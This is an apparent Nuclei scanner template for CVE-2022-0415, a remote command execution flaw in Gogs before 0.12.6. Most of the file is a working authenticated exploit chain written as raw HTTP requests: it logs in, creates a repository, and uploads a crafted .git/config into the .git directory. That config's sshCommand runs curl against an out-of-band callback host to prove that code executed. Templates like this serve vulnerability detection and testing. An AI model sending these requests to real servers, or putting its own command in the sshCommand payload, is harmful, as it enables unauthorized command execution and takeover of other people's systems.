118 lines
3.8 KiB
YAML
118 lines
3.8 KiB
YAML
id: CVE-2022-0415
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info:
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name: Gogs <0.12.6 - Remote Command Execution
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author: theamanrawat
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severity: high
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description: |
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Gogs before 0.12.6 is susceptible to remote command execution via the uploading repository file in GitHub repository gogs/gogs. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
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remediation: Fixed in version 0.12.6.
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reference:
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- https://github.com/gogs/gogs/commit/0fef3c9082269e9a4e817274942a5d7c50617284
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- https://huntr.dev/bounties/b4928cfe-4110-462f-a180-6d5673797902
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- https://nvd.nist.gov/vuln/detail/CVE-2022-0415
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 8.8
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cve-id: CVE-2022-0415
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cwe-id: CWE-20,CWE-434
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epss-score: 0.1488
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epss-percentile: 0.95254
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cpe: cpe:2.3:a:gogs:gogs:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 6
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vendor: gogs
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product: gogs
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tags: rce,gogs,authenticated,huntr,cve,cve2022,intrusive
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http:
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- raw:
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- |
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GET /user/login HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /user/login HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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_csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}
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- |
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GET /repo/create HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /repo/create HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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_csrf={{auth_csrf}}&user_id=1&repo_name={{randstr}}&description=test&gitignores=&license=&readme=Default&auto_init=on
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- |
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POST /{{username}}/{{randstr}}/upload-file HTTP/1.1
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Host: {{Hostname}}
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Accept: application/json
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X-Requested-With: XMLHttpRequest
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X-Csrf-Token: {{auth_csrf}}
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Content-Type: multipart/form-data; boundary=---------------------------313811965223810628771946318395
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-----------------------------313811965223810628771946318395
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Content-Disposition: form-data; name="file"; filename="config"
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Content-Type: application/octet-stream
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[core]
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repositoryformatversion = 0
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filemode = true
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bare = false
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logallrefupdates = true
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ignorecase = true
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precomposeunicode = true
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sshCommand = curl http://{{interactsh-url}} -I
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[remote "origin"]
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url = git@github.com:torvalds/linux.git
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fetch = +refs/heads/*:refs/remotes/origin/*
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[branch "master"]
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remote = origin
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merge = refs/heads/master
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-----------------------------313811965223810628771946318395--
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- |
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POST /{{username}}/{{randstr}}/_upload/master/ HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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_csrf={{auth_csrf}}&tree_path=/.git/&files={{uuid}}&commit_summary=&commit_message=&commit_choice=direct&new_branch_name=
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- dns
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- http
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- type: word
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part: body_1
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words:
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- content="Gogs
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extractors:
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- type: regex
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name: csrf
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group: 1
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regex:
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- name="_csrf" value="(.*)"
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internal: true
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- type: regex
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name: auth_csrf
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group: 1
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regex:
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- name="_csrf" content="(.*)"
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internal: true
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- type: regex
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name: uuid
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group: 1
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regex:
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- ' "uuid": "(.*)"'
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internal: true
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# digest: 4a0a00473045022100ebfe218c08143068083178cb57ae027d3eacfa8b7a59d13cb32bb5f54abe390502202c1844dba2653a28d6612589c8f6fdae75da18d6f57d59edb0d3f2e1495f6a4f:922c64590222798bb761d5b6d8e72950 |